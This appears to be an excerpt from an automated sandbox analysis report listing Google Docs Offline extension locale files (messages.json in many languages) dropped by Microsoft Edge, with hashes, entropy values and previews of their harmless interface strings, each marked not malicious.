Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
